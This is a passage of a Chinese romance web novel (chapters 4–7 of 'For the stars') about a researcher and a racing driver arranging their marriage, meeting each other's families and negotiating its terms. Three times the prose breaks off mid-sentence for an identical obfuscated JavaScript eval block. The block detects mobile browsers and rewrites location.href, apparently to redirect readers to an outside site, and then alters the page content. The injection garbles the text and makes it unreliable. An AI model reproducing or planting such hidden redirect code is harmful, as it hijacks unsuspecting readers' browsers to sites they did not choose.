她抬眸,眼底带着一丝若有似无的笑意,嗓音淡淡却充满挑衅。 “现在——” “乖乖跟我回去结婚。” 4. For the stars 温木站在基地门口,低头看着手机。 听到脚步声,抬起头。 宋星燃换了一身衣服。白T恤松松垮垮地套在身上,破洞牛仔裤包裹着修长的双腿,头发还带着湿气,发梢滴落的水珠顺着脖颈滑入衣领。 温木闻到他身上淡淡的沐浴露香气,混着薄荷须后水,清爽不腻人。 “回家吧,你家里人很担心你。”她收起手机,语气平静。 “你知不知道你这样很像我妈?” “是吗?” “我可不想有你这样的儿子。” 宋星燃被噎住,瞪了她一眼,大步流星地朝门口走去。走了几步,却发现温木没有跟上。他回头,看见她还站在原地,仰头环顾四周。 “你在那杵着干啥?”他皱眉。 温木收回视线:“看附近有没有公交车站。” “你先回去吧。” 男人站在原地没动,表情复杂。 “你怎么想的?” “我把你一个人撂这儿自己回去,那我成什么了?” 混蛋呗,反正你本来就是。 温木心里吐槽,面上不显:“我晕车。” 宋星燃沉默片刻:“会开吗?” “没开过几次。”温木如实回答。 空中划出一道银色的弧线,温木下意识接住,金属的凉意贴着手心。 “你来开。”他转身就走。 温木挑眉:“把我当司机了?” 宋星燃头也不回:“不然你想吐在我车上?” 事已至此,温木只能跟上。 绕过几栋建筑,一辆液态金属红的法拉利停在专用车位上,在月光下泛着冷冽的光泽。流线型的车身如同蓄势待发的野兽,张扬而危险。 宋星燃拉开副驾驶门坐了进去。温木深吸一口气,坐进驾驶座。 车内空间比想象中宽敞,黑色真皮座椅散发着淡淡的皮革香,混着柑橘与薄荷的清新,意外地让她的胸口没那么压抑了。 她调整座椅和后视镜,手指在方向盘上轻轻敲了两下,再次确认:“你确定要我开?” “要死一起死,还能拉个垫背的。”宋星燃系好安全带,目视前方。 温木点火,引擎发出低沉的轰鸣。纤细的手指握住方向盘,骨节分明,白皙的皮肤下隐约可见淡青色的血管。 她开车时异常专注,嘴唇微微抿起,金丝眼镜后的眼睛一瞬不瞬地盯着前方。 宋星燃不经意间瞥见她的左手手腕——那里有一串拉丁字母,在她冷白的皮肤上显得格外醒目。 他忍不住多看了两眼。 温木察觉到男人的目光,但没有理会,只是专注地驾驶着这头性能野兽。车子平稳地驶出基地,融入城市车流。 “回哪?”在一个红灯前,她问。 宋星燃看着窗外:“先回你家。” 车内再次陷入沉默。温木开车时几乎不说话,只是偶尔轻推眼镜,或者因为某个突然的变道而微微皱眉。 她的开车风格和她本人一样——冷静、精准、不拖泥带水。 二十分钟后,车子停在温木家所在的别墅区门口。温木熄火,解开安全带,宋星燃也推门下车。 两人隔车对视。 半晌,温木掂了掂车钥匙,扬手抛向对面。 钥匙在空中划出优美的弧线,被男人稳稳接住。 “其实,”她慢慢开口,声音平静,“如果你实在不愿意的话,那也就算了。” “我知道你不缺追求者。” 她停顿一下,“我也一样。” 宋星燃盯着眼前的女人,眉头渐渐皱起。 “我输了,我娶你。”他一瞬不瞬地盯着她,声音低沉,“说到做到,不会反悔。” “不过,你最好处理干净你的那些桃花。” “我不做备胎。” “更不做小三。” 温木强压住嘴角,微微颔首:“谢谢。” 男人站在原地没动,目光追随着那道背影。夜风吹起女人的长发,露出纤细的脖颈线条。 她走了几步,忽然停下,侧过头。鼻梁高挺,唇色如樱。 扬了扬手中的信纸,声音带着若有似无的笑意: “信我留下了。” “等我们结婚那天,再还给你。” 清瘦的背影一点一点变小,最后,完全消失在别墅区的林荫道上。 宋星燃转身上车。 车内的空气中还残留着一丝若有若无的香气,不是香水,更像是某种实验室里常用的清洁剂味道,干净而冷冽。 就像那个女人一样。 * 温木刚踏进家门,秦忆就迎了上来。 “枝枝,怎么样?见到阿燃了吗?” 温木点头,在玄关处换鞋:“见到了。” 温志远从沙发上站起身,眉头微皱:“那孩子……没为难你吧?” “没有。”温木轻描淡写地带过,“他答应结婚了。” 秦忆和温志远对视一眼,神色复杂。 “枝枝啊,”秦忆拉着女儿坐下,语气担忧,“妈妈看那孩子性子是野了点,你要是觉得勉强……” “不勉强。”温木打断她,声音平静。 “我选的,就不会后悔。” 温志远叹了口气:“宋家那小子确实优秀,但就是太不服管了。爸是怕你以后吃亏。” 温木摇头:“不会的。” 她养过狗,对付宋星燃这种男人,跟对付狗没什么区别。 夫妻二人对视一眼,叹口气。 事实上,两家联姻并非偶然。温家的矿业集团与宋家的新能源产业有深度合作。温家提供稀有金属原材料,宋家则负责研发高能电池技术。这种合作持续了五年,双方都获益匪浅。 而宋星燃,抛开性格不谈,确实是同龄人中的佼佼者。年纪轻轻就成为F1冠军,商业价值极高,样貌能力都无可挑剔。 最关键的是,沈岁特别喜欢温木。 秦忆和沈岁因茶艺结缘,经常约着一起品茶。有次闲聊时,秦忆提过担心女儿的婚事,没想到沈岁记在了心里。 “那天宋家突然登门提亲,我和你爸都吓了一跳。”秦忆回忆道,“前一天张家才来提过呢。” 张家是做房地产的,儿子刚从英国留学回来,条件也不错。而且,和宋家还有点亲戚关系。 但宋家的态度格外诚恳,不仅亲自登门,还承诺全力支持温木的科研事业。这份尊重打动了温家父母,最终决定权交给了温木自己。 “他虽然脾气差了点,但本性不坏。”温木轻声道,“我相信自己的选择。” 见女儿态度坚决,夫妻俩也不好再多说什么。 上楼洗漱后,温木擦着头发走出浴室,桌上的手机震动了一下。 “Lgnis已经通过了你的好友申请。” 温木拿起手机。 屏幕上,“对方正在输入中”的提示持续了整整五分钟,最后终于跳出一条消息。 Lgnis:【你怎么有我的微信?】 温木:“......” 脾气不好,怎么智商也够呛。 Jupiter:【沈姨给我的。】 对方秒回。 Lgnis:【她给你你就加?多大岁数了一点都不矜持】 温木盯着屏幕,嘴角抽了抽。 这人是不是有病? Jupiter:【那你通过好友申请干什么?】 没声了。 温木等了两分钟,见对方彻底消停,便把手机放到一边,打开电脑继续看文献。 屏幕的光映在她脸上,镜片后的眼睛平静如水。 反正,婚是结定了。 至于这位“未婚夫”的幼稚行为,随他去吧。 * 宋星燃靠在床头,盯着手机屏幕。 他花了三分钟不到就翻完了温木的朋友圈,里面几乎全是看不懂的英文资料和星空照片。 微信头像是一颗星球,他眯着眼睛看了半天,愣是没认出那颗星球是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223318|181620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么。 学渣的悲哀。 他连八大行星都认不全,只好打开浏览器搜索“行星图片”,对着手机屏幕比对了半天,终于勉强确认—— 木星,Jupiter。 宋星燃轻嗤一声:“这女人看星星看傻了吧。” 他们的聊天记录还停留在那句“那你通过好友申请干什么”,之后温木再没发过消息。 真不会聊天。 都加微信了也不知道多跟他聊几句。 给她机会她不中用啊。 他正想着接下来一步该怎么做,房门被轻轻敲响。 “儿子,我可以进来吗?”沈岁的声音从门外传来。 宋星燃迅速把手机反扣在床上,起身开门。 “妈。” 沈岁站在门口,眼眶微红:“对不起儿子,妈刚才太激动了,跟你道歉。” 半小时前,宋星燃刚踏进家门,迎面就飞来一个抱枕,狠狠砸在他脸上。 “宋星燃!你还有脸回来?!”沈岁气得声音都在抖,“你知不知道你今天干了什么?你让温家怎么想我们宋家?!” 男人站在原地没动。 “平常你爱怎么闹都行,但这次关乎两家颜面!”沈岁越说越气,“你知不知道小木多优秀?你知不知道多少人家排着队想娶她?你倒好,把人晾在一边,还离家出走?!” 宋星燃低着头不说话。 三个儿子里,沈岁最操心他。当年怀他的时候,他在肚子里就闹腾得很,让她吐了整个孕期。谁知道生出来更不省心,从小到大没少惹事。 看着母亲气得发抖的样子,宋星燃心里确实有点后悔。 “妈。”他声音低了几分,“我知道错了。” 沈岁红着眼睛瞪他:“别跟我道歉!去跟你温伯父和秦姨道歉!去跟小木道歉!” 宋星燃抿着唇不说话。 沈岁直接上手掐他耳朵:“你个臭小子听见没有?!” “我听见了!”宋星燃一边躲一边喊。 “我娶她!我娶她还不行吗!” 沈岁一愣,手停在半空:“你说什么?” 宋星燃别过脸,耳根发烫。 “妈,”他声音闷闷的,“我知道错了,会去跟她道歉的。” “我也想好了,我娶她。” 沈岁这才松了口气,语气软下来:“嗯,我们一起去。这件事,是我们家不对。” 她叹了口气,又忍不住念叨:“唉,妈也是真心喜欢小木那孩子。模样性格都没得挑。” 顿了顿,像是自言自语:“要不是听说张家去提亲,我也不会这么着急......” 男人敏锐地捕捉到“张家”两个字,猛地抬头:“你刚才说什么?” 沈岁一愣:“啊?” “张家?” “就是你表舅家啊,”沈岁不明所以,“他们儿子刚从英国回来,听说挺喜欢小木的。” 宋星燃脸色瞬间黑了。 所以那女人说“我也不缺追求者”,是真的? 她还真是把他当备胎?! “儿子?”沈岁还想说什么,宋星燃已经一把将她推出房门。 “我要睡了。” 门“砰”地关上。 * 第二天,上午八点,宁川大学。 温木刚到校门口,就碰见了徐樾声,她和于茉的直系学弟,也是现在项目组的成员之一。 两人站在树荫下聊了几句,她提议去小吃街买早餐。 “我请客。”她淡淡一笑。 徐樾声挠挠头:“温老师这么大方,那我就不客气了。” 他站在原地等温木,正低头看手机,一双限量版Off-WhitexNike球鞋突然闯入视线。 徐樾声抬头,对上一双冷戾的桃花眼。 男人单手插兜,另一手晃着车钥匙,手臂上那道蛇形纹身在阳光下泛着暗光。 他居高临下地扫了徐樾声一眼,突然笑了。 “你是第几个?” 5. For the stars 徐樾声被问得摸不着头脑:“什么?” 宋星燃用车钥匙不经心点了点他胸口:“我是说,你是她养在学校的......” “第几号备胎?” 徐樾声过了好一会才反应过来他指的是温木,随即涨红了脸:“我是温老师的学弟!” 宋星燃挑眉:“哦,那就是预备役。我说你连备胎都不混上,有够差劲的啊。” 混蛋得理直气壮。 徐樾声:“温老师不是这样的人!” 宋星燃:“你怎么知道她不是?你是她什么人,很了解她吗?” 徐樾声刚要反驳,一道清冷的声音从身后传来。 “宋星燃。” 平静,却带着一丝严肃。 宋星燃转头,温木拎着两份早餐站在不远处,依旧是黑色衬衫裙,背着灰扑扑的旧书包,没化妆,也没戴首饰。 啧,又穿这么素。 温木把早餐递给徐樾声,语气柔和:“樾声,他脾气不太好,你别跟他计较。” 宋星燃:“......” 这就叫上yuesheng了?他真的要yue了! 还有,谁脾气不好了?! 温木看了一眼对面黑着脸的男人,又补上一句:“这是我未婚夫。” “啪嗒——” 徐樾声手里的鸡蛋灌饼直接掉到地上。 宋星燃唇角不自觉翘了翘,又迅速压下去,满不在乎地别过脸。 温木弯腰捡起地上的饼,重新挂到徐樾声手上:“你先回实验室,跟于茉说一声,我晚点到。” 徐樾声缓了好一会儿,才僵硬地点点头,同手同脚地进了校门。 温木这才看向宋星燃:“你怎么来了?” 宋星燃挑眉:“我来看看我未婚妻工作的地方,不行吗?” 男人今天穿了件黑色破洞T恤,工装裤束进马丁靴里,脖颈上的银色链子随着动作轻晃,整个人又野又痞。 他本就长得扎眼,身材又高大,往校门口一杵,已经引得不少学生频频侧目。 温木扫了一眼周围越聚越多的视线,轻叹:“这里不方便,换个地方吧。” “清晨”咖啡馆。 服务员走过来点单,温木开口:“一杯冰美式。” 又看向宋星燃:“你呢?” “焦糖玛奇朵,”宋星燃懒散地靠在椅背上,“再加一份香草糖浆。” 温木微微挑眉。 “怎么?”宋星燃眯起眼。 “你看上去,”温木斟酌着用词,“不像是喜欢甜食的。” 男人嗤笑一声:“你看上去,也不像是会纹身的。” 他意有所指地瞥了眼她的手腕。 温木不接话,两人之间的空气微妙地僵持着。 宋星燃时不时瞥一眼对面的女人,她坐得笔直而板正,仿佛是乖乖回答老师问题的好学生。 真装。 他又瞄了一眼,然后发现,温木换眼镜了。她今天戴的是一副镶着垂链的金丝眼镜,整个人优雅知性,倒真有一副老学究的气质。 不过,是不那么倒胃口的老学究。 还能看吧,说得过去。当媳妇儿,也够格。 服务员送上咖啡,男人搅了搅杯子里厚厚的奶油,悠悠开口:“既然都坐下了,那就聊聊吧。” 温木:“聊什么?” 宋星燃抬眸,眼底带着几分挑衅:“聊聊我们结婚的事。” 温木轻轻点头:“行啊。” 虽然地方不那么正式,时间也不那么正式,甚至双方都不那么正式,但是,他要谈,那就谈吧。 宋星燃翘起二郎腿,手指在桌面上敲了两下:“基本信息我们都知道,就不用说了。” “是吗?”温木端起冰美式抿了一口,“可是那天晚上我去找你的时候,你好像没有认出来我。” “我还以为,你连我的照片都没看过呢。” 男人喉结滚动了一下。 他总不能说他昨晚徒手扒垃圾桶,把那些被撕碎的资料拼起来看了一遍吧? 那些纸片上还沾着咖啡渍和披萨油,他趴在房间地毯上拼到凌晨两点,最后用透明胶带粘好,才勉强能看。 宋星燃不自觉地搓了搓双手,随即回答:“你长得跟照片上不太一样,没认出来。” 温木:“哪不一样?” 宋星燃想起资料上那张照片,应该是张证件照,女人黑发一丝不苟地别在耳后,素净的脸上没有任何表情。 而那天晚上站在赛车旁的人,却是冷静又勾人的,甚至有点,妩媚的感觉。 男人端起焦糖玛奇朵喝了一大口,甜腻的奶油沾在嘴角。 “比照片上丑。” 温木抬眸看了他一眼,又很快垂下。 宋星燃清了清嗓子:“我身体健康,没有不良嗜好,不抽烟不酗酒不赌钱不乱搞。” 顿了顿,又补充道,“没谈过女朋友。” 温木抬眼,目光在他脸上停留了几秒,似乎在确认这句话的可信度。 然后说:“我也没谈过男朋友。” “看得出来。”宋星燃嗤笑。 温木不理会他的挑衅,继续道:“既然你已经答应跟我结婚了——” “被逼的。”男人立刻打断。 温木很自然地接下去,丝毫没有被影响:“既然你已经被逼着答应跟我结婚了,有一些事情,还是要提前跟你说清楚。” 宋星燃做了个“请便”的手势。 温木的声音平静而清晰:“我研究很忙,一周最少四天都要在实验室,可能不会分给家庭太多时间。我也不是相夫教子的那种类型。” “巧了,我训练也忙。”宋星燃耸肩,“一年有半年在国外比赛。” 温木:“我厨艺不好,也没时间做饭。我会自己解决一日三餐,希望你也是。” 男人冷笑:“我娶老婆回来是过日子的,不是做饭的。想吃好的请厨师不就得了?我要你费那个劲干嘛。” 温木嘴角微不可察地弯了弯,悠悠继续:“我知道你很有名气,但我不太喜欢也不太习惯于跟人打交道。所以,可能不会经常去看你的比赛,或者陪你去参加一些活动。不过家庭聚餐我会参加。” 宋星燃冷哼一声:“我也没让你去。” 温木的手指轻轻敲击杯壁,似乎在思考下一个话题。 “你介意结婚后我们单独搬出来住吗?我觉得和家里人一起住有点怪怪的。 像是为了争得同意,她又补充:“我在市中心也有两套房子,你愿意的话,就挑一套。” 搞得好像谁没房子似的。 宋星燃眉头皱起,但并没有长篇大论将他的所有产业铺排开来,只是问:“我娶你,什么都让你出,那我成什么了?” 温木淡定地扶住微微滑下去的眼镜:“你不是出了人吗?” 男人噎住,耳根以肉眼可见的速度变红。他猛地灌了一大口咖啡,差点被呛到:“可以搬出来住,但房子我选。” “你有什么要求可以提,虽然我也不一定会听。” “离学校近一点,隔音好一点。”温木从善如流。 “没了?” 温木点头。 两人陷入短暂的沉默,各自喝着咖啡。 阳光洒在桌面上,形成一小块明亮的光斑。 “最后一件事。”温木放下杯子。 宋星燃:“怎么还有?磨磨叽叽跟挤牙膏似的。” 温木:“两年内,我都不打算要孩子。” 男人正在喝咖啡,闻言猛地呛住,咳嗽了好几下才缓过来。 老实说,他没想过那么远。但他自己确实没有不要孩子的打算。 “为什么?”宋星燃最终还是决定问下原因。 温木沉默片刻,然后解释:“因为我需要工作。目前正在研究的项目最少需要一年时间,两年后,我才博士毕业。这两年里我的大部分精力都会放在研究上。” 她停顿一下,“我个人认为,生下一个孩子,就要尽可能给他倾注爱意。如果做不到的话,孩子和父母都不会开心。” 条理清晰,无懈可击。 男人下意识看了眼温木的手腕。她今年28岁,再过两年就30了,那时候怀孕已经算高龄产妇。他不知道温木的身体能不能承受,虽然看起来就不像能承受的样子。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223319|181620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对于女人来说是很危险的事情,沈岁当年生他的时候就差点难产,但这话问出口就太越界了。 “行,我没意见。”宋星燃最终说。 温木微不可察地松了口气,拿起咖啡喝了一口。 她没说的是,她不想生孩子还有一个原因。 她怕疼,特别怕疼。 小时候在医院听到产妇生产时的哭喊声,给她留下了很深的阴影。但这种理由说出去,宋星燃怕是要笑掉大牙。 咖啡见底,温木看了眼手表,起身准备离开。走到宋星燃身边时,突然停下脚步,指尖轻轻点在男人肩上。 “下次,不要穿这么花哨,也不要开女武神来学校。” 男人唇角微勾:“怎么,怕我太受欢迎了,招蜂引蝶?” 温木微微俯身,镜链垂下来,轻轻晃动,偶尔一下触在他脸上,冰冰凉凉。 “不是。” “是怕同事误会我包养小白脸,影响不好。” 说完,她直起身,拍拍男人的肩膀,走向吧台结账,然后头也不回地出了咖啡店。 宋星燃盯着女人的背影,胸口堵着一团无名火。 他娶老婆,钱花不出去,感情培养不了,工作上更是八竿子打不着关系。 敢情他宋三少在这场婚姻里唯一的作用,就是“出了个人”! * 温木推开实验室的门,几道八卦的目光齐刷刷投了过来。 “先工作。”她放下包,语气平静,“工作完再说你们想听的。” 众人立刻收回视线,但空气中仍飘荡着若有似无的兴奋感。 目前项目还处于初期阶段,主要任务是分析热木星大气层中的特殊分子光谱。温木负责构建数据模型,需要反复核对观测数据与理论值的匹配度。 她戴上降噪耳机,很快进入工作状态,修长的手指在键盘上敲击出一串串代码。 工作结束后,孟孟第一个按捺不住:“木姐!徐樾声说你未婚夫是个超级大帅哥!” 徐樾声挠挠头:“确实帅,就是脾气有点冲。” “而且看起来,比温老师年轻一些。” “比我小5岁。”温木补充。 “天啊!姐狗诶!好好磕!”孟孟脱口而出,随即意识到说漏嘴,立刻改口,“啊不是,木姐我没钱给你包红包。” 这些天相处下来,孟孟对温木的称呼已经从“温老师”变成了更亲昵的“木姐”。她发现这位学姐虽然外表看着冷,但熟悉了之后意外地温柔耐心,除了工作有点较真外,几乎挑不出缺点。 哪个男的吃这么好?居然能娶到她当老婆?! 温木微微一笑:“不用包红包,我请大家吃喜糖。” 于茉终于开口:“你不打算办婚礼吗?” 温木一愣,这才想起自己完全没问过这件事。 “随他吧。”她无所谓地说。 于茉无语,于茉自闭,于茉叹气。 谁懂啊,二十八年了,自家白菜还是被猪拱了! 温木的手机屏幕亮起。 Lgnis:【出来】 于茉眼尖地瞄到:“哟,来找你了?” 温木背起书包:“先走了。” 倒不是急着见他,她是真怕宋星燃在学校门口干出什么混蛋事来,那她在学校可就无地自容了。 还没到校门口,她就看见了那辆深蓝色的女武神。男人靠在车边,一身剪裁精良的黑色西装,外套随意搭在臂弯,衬衫袖口挽到手肘,露出手腕上那块百达翡丽。 温木认识那一款,去年父亲节,她给温志远挑礼物时相中过同款。 1600万,全球限量7块。 最后她没买——穷。 温木皱眉,直觉他不是来干好事的。 手机突然震动,语音通话显示“Lgnis”。 她抬头,正对上宋星燃玩味的目光。 他举着手机,薄唇勾起一抹痞笑。 两人隔空对视,空气仿佛凝固了一瞬。 温木接通:“干什么?” 听筒里传来他低沉的轻笑,混着电流声酥麻入耳。 “来接你回家啊,我的金主大人。” 6. For the stars 温木沉默了两秒:“我开玩笑的。” 男人笑得痞气:“可我当真了诶。” 电话那头只有平稳的呼吸声。 “是你自己过来,”他拖长声调,“还是我过去接你?” “嘟——”通话□□脆利落地挂断。 温木果断选择前者。她可不想让保安大爷记住这张妖孽的脸。要知道,被保安大爷记住,就等于被全校师生记住。 她缓步穿过马路,黑色长发被晚风轻轻扬起。宋星燃就靠在车边等她,西装裤包裹着修长的腿,整个人像时尚杂志里走出来的男模。 “我给你当回司机?”他拉开副驾车门。 温木:“如果你不怕我吐在你车上的话。” 这对话怎么那么耳熟? 男人满不在乎:“那就再买一辆好了。” “败家。” 温木坐了进去,脑子里还在思考,结婚以后要是到了喝西北风的程度,该不该回娘家。 安全带“咔哒”扣好,她转头问道:“你真是来接我的?” “不然?” “我看你穿成这样……” 温木顿了顿,没好意思说很像牛郎,“以为你有事要办。” 宋星燃启动车子:“去你家,拜访叔叔阿姨。” 他目视前方,“我爸妈下午已经去了。” 温木一怔。 男人手指在方向盘上敲了敲。 “之前的事,是我不对。” “我向你道歉。” 虽然语气还是那副混蛋样,但确实是道歉了。 温木没想到他会道歉,微微扬眉:“第一次结婚,没经验,害怕正常。” “我能理解。” 宋星燃瞥她一眼:“搞得好像你不是第一次结婚一样。” “我结过。” “咳咳咳——”宋星燃差点被口水噎死。 “游戏里。” “无聊。”男人瞪她一眼。 车子平稳地行驶在暮色中。让温木意外的是,宋星燃开得很稳,完全没有赛车手那种狂野架势。 窗外的霓虹在玻璃上投下流动的光影,她竟然一点晕车的感觉都没有。 “看什么?”宋星燃注意到她的目光。 “只是没想到你开车这么稳。” “怎么,以为我会把油门踩出火星?”他轻笑。 “载你和比赛能一样么?” 是不一样,一个玩命,一个玩出人命。 温木别过脸看向窗外,没接话。 * 车子驶入城西别墅区,最终停在一栋中式建筑前。青砖黛瓦,飞檐翘角。 两人一前一后走进庭院,穿过回廊时,温木听见客厅里传来谈笑声。推开门,两家父母正坐在红木茶桌前品茶。 “爸,妈,我们回来了。”温木轻声道。 四位长辈同时抬头。 秦忆眼前一亮。这是她第一次见到准女婿真人。虽然之前对宋星燃的印象不太好,但此刻西装笔挺的年轻人站在那里,剑眉星目,身姿挺拔,确实一表人才。 那句话怎么说来着,丈母娘看女婿,越看越有趣。 “叔叔,阿姨。我是星燃。”宋星燃微微欠身,将手中礼盒递上,“一点心意。” 给温志远的是一套绝版紫砂壶,市价近百万;送给秦忆的则是顶级血燕和一套翡翠首饰。 温木在一旁看得暗暗咋舌。这手笔,她一年的科研经费都没这么多。 果然,搞学术就是没“钱”途。 “太破费了。”温志远连连摆手。 “应该的。”宋星燃语气诚恳,“之前是我不懂事,让二老担心了。” 他转向温木父母,郑重地鞠了一躬:“特别要向叔叔阿姨道歉,那天的事是我考虑不周。” 温志远赶紧扶他:“年轻人有点脾气正常,过去了就好。” 秦忆也笑着打圆场:“以后就是一家人了,不说这些。” 温木有些意外地看了宋星燃一眼。 像是察觉到她的目光,男人转向她:“还有温老师。” 他直视她的眼睛:“那天让温老师不高兴了,对不起。” 温木没想到他会当众再道歉一次,也不知道他从哪弄来“温老师”这么个称呼,一时不知如何回应,只能轻轻点头:“没关系。” 晚餐在和谐的氛围中进行。宋星燃被安排在温木旁边。 他一落座,温木就不动声色地往旁边挪了挪。这个男人的存在感实在太强了,淡淡的古龙水味混着体温传来,让她有些不自在。 她似乎听到一声轻笑,转头时却见宋星燃正专注地给几位长辈布菜,仿佛刚才只是她的错觉。 “枝枝?”秦忆唤她。 “嗯?” “想什么呢?”秦忆笑着指指她的碗,“阿燃给你夹了半天的菜了。” 温木低头,碗里不知何时堆满了她爱吃的菜。她下意识看向宋星燃,对方正慢条斯理地剥着一只虾,仿佛刚才殷勤夹菜的不是他。 “谢谢。”她小声道。 宋星燃将剥好的虾放进她碗里,唇角微勾:“不客气。” “金主大人。” 温木:“……” 在长辈们疑惑的目光中,她默默低头扒饭。 * 晚餐后,温木找了个借口溜到后院。 穿过雕花木门,眼前豁然开朗。青石板小路蜿蜒通向一方池塘,几尾锦鲤在月光下游弋。角落里的秋千架上缠绕着星星灯,在夜色中闪烁如银河。 她坐上秋千,脚尖轻点地面。秋千微微晃动,星星灯的光晕在眼前拉出细长的金线。 人是她挑的,要求是她提的,两家父母也是难得的合拍。 可此刻,一种说不清的空虚感却悄然爬上心头。 不是后悔,更像是,不真实感。 她真的要结婚了。 和一个认识不到半个月的男人。 温木自嘲地笑了笑。她向来是语言上的巨人,行动上的矮子。能冷静地列出婚姻条款,却想象不出婚后生活的具体画面。 一双温热的手贴上她的后背。隔着单薄的衬衫布料,掌心的温度直接渗入肌肤。 下一秒,她整个人悬空—— “啊!” 秋千猛地荡高,温木惊呼出声,手指死死攥住绳索。 身后传来熟悉的低笑:“还以为温老师什么时候都处变不惊呢。” 是宋星燃。 温木松了口气,随即又因这突如其来的恶作剧微微恼火:“人吓人会吓死人的。” “无所谓,”秋千再次被推高,“我不是人。” 这次力道更大,温木感觉自己几乎要飞出去。 夜风呼啸过耳畔,裙摆飞扬,她不得不紧紧抓住秋千两侧:“别推了。” “你求我啊。” 男人的声音混着风声传来,带着恶作剧得逞的愉悦。 “你求我就不推了。” 温木在心里翻了个白眼。这男人简直像个小学生。 不,小学生都没他这么幼稚! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223320|181620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她盘算着在秋千降到最低点时用脚刹车,可每次脚尖刚要触地,身后那人就精准地再推一把,让她重新飞向夜空。 “别推了,我眼镜都要掉了。” “那就掉呗,”宋星燃恶劣地笑着,“我又不是赔不起。” “金子做的还是银子做的,都买给你。” “嗯?” 最后一个音节上扬,带着明晃晃的挑衅。 温木咬住下唇。秋千越荡越高,失重感让她的胃部微微抽搐。 最终,不得不服软:“宋星燃,别推了。” 话音刚落,一双大手稳稳扶住她的腰,秋千缓缓停下。 男人俯身靠近,温热的呼吸喷在她耳畔。宽大的手掌几乎能圈住她半个腰身,两人之间的距离近得能感受到彼此的体温。 “温老师,”他低声唤她,嗓音里带着笑意。 “你耳朵红了。” 温木立刻站起身,脱离他的掌控。 她整理了一下裙摆和眼镜,声音恢复一贯的冷静:“你看错了。” “哦~”宋星燃拖长音调,一脸“你就嘴硬吧”的表情。 两人之间陷入短暂的沉默。 池塘里的锦鲤跃出水面,发出“扑通”一声轻响。 “你怎么出来了?”温木先开口。 “和你一样的理由。”宋星燃双手插兜,靠在一株桂花树上。 温木犹豫片刻,问他:“为什么选今天来拜访?” “今天不行吗?”他歪头,“我查了黄历,还是好日子呢。” “别贫。” 宋星燃与她对视几秒,耸了耸肩:“再不来就没时间了。” 见温木露出疑惑的表情,他继续道:“你不知道吗?我之前基本上常驻欧洲。这次回来是因为……” 他顿了顿,最终还是说出口:“前段时间受了伤,回来休养。” 月光下,温木的眉头几不可察地皱了一下,又很快舒展。她垂下眼睛,盯着地面上一块鹅卵石,也不说话。 “有事就说。”宋星燃挑眉。 温木:“那我们,是不是很快就可以结婚?” 宋星燃低笑出声:“前几天可是你追着赶着要我答应跟你结婚的,怎么,现在后悔了?” “不是。”温木摇头,“我只是想知道,结婚后你大概多久会离开。” 男人眯起眼睛打量她,片刻后回答:“两个月吧。” 温木的表情微妙地变化了一下,嘴角微微放松,睫毛轻颤,像是松了一口气。 只有两个月,他们只需要做两个月夫妻,她就可以继续以前的单身生活了。 “怎么,”宋星燃凑近一步,“你很失望?” “没有。”温木立刻否认。 男人的脸突然在眼前放大。他俯身与她平视,鼻尖几乎相触。 “得了吧,算盘珠子崩我脸上了。” 温木后退半步:“我不知道你在说什么。” 宋星燃低笑一声,直起身:“那我们,把话说明白一点。” 他掰着手指数起来:“你一周去实验室四天,我一周训练三天。” 他若有所思地计算着,“那么一周最少可以三天,一天最少四次的话,那么两个月就是……” 温木疑惑:“你在算什么?” 男人停下动作,忽然向前一步,将她困在秋千与自己之间。 他低头,薄唇几乎贴上她的耳垂,声音低沉暧昧。 “在算……” “这两个月,我该怎么把你喂饱。” 7. For the stars 温木先是一震,但很快又恢复冷静。 她一直在避开夫妻生活这个话题,上次提到不要孩子时,见宋星燃没追问,也就顺势略过了。 可现在看来,这位赛车手显然没打算轻易放过她。 “其实我。”她微微偏头,避开他灼热的呼吸。 “食量很小,不容易饿。” 宋星燃点头,目光扫过她纤细的腰线:“嗯,看得出来。刚才吃饭你都没怎么动筷子。” 他凑近,鼻尖蹭到她耳垂,“可是这样不行啊。” “你看给我妈心疼的,”男人低笑,指尖若有似无地划过她手腕,“而且……” “我也会心疼的。” 温木略带无语地睨了他一眼,默默伸出食指,点在男人额前,然后,果断推开。 装深情。 她缓步走到秋千前坐下,悠悠开口:“我以为,你更喜欢自由。毕竟,要做那件事的话,不太自由。” “对两个人都是。” 宋星燃的表情顿时变得饶有兴致。他单手撑在秋千绳上,将她困在方寸之间:“这么为我考虑?” “那要不,我们换着地方来?” “车里,阳台,实验室……”每说一个词,他的呼吸就重一分,“保证不耽误温老师看星星。” 这不对吧,画风怎么越走越偏了。 温木迟疑地问:“你,愿意?” 